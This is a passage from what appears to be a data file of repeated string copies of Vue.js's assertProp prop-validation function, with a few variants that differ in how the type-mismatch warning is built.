'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n \\\"Invalid prop: type check failed for prop \\\\\\\"\\\" + name + \\\"\\\\\\\".\\\" +\\n \\\" Expected \\\" + (expectedTypes.map(capitalize).join(', ')) +\\n \\\", got \\\" + (toRawType(value)) + \\\".\\\",\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, type[i]);\\n expectedTypes.push(assertedType.expectedType || '');\\n valid = assertedType.valid;\\n }\\n }\\n if (!valid) {\\n warn(\\n 'Invalid prop: type check failed for prop \\\"' + name + '\\\".' +\\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\\n vm\\n );\\n return\\n }\\n var validator = prop.validator;\\n if (validator) {\\n if (!validator(value)) {\\n warn(\\n 'Invalid prop: custom validator check failed for prop \\\"' + name + '\\\".',\\n vm\\n );\\n }\\n }\\n}\",\n \"function assertProp (\\n prop,\\n name,\\n value,\\n vm,\\n absent\\n) {\\n if (prop.required && absent) {\\n warn(\\n 'Missing required prop: \\\"' + name + '\\\"',\\n vm\\n );\\n return\\n }\\n if (value == null && !prop.required) {\\n return\\n }\\n var type = prop.type;\\n var valid = !type || type === true;\\n var expectedTypes = [];\\n if (type) {\\n if (!Array.isArray(type)) {\\n type = [type];\\n }\\n for (var i = 0; i < type.length && !valid; i++) {\\n var assertedType = assertType(value, 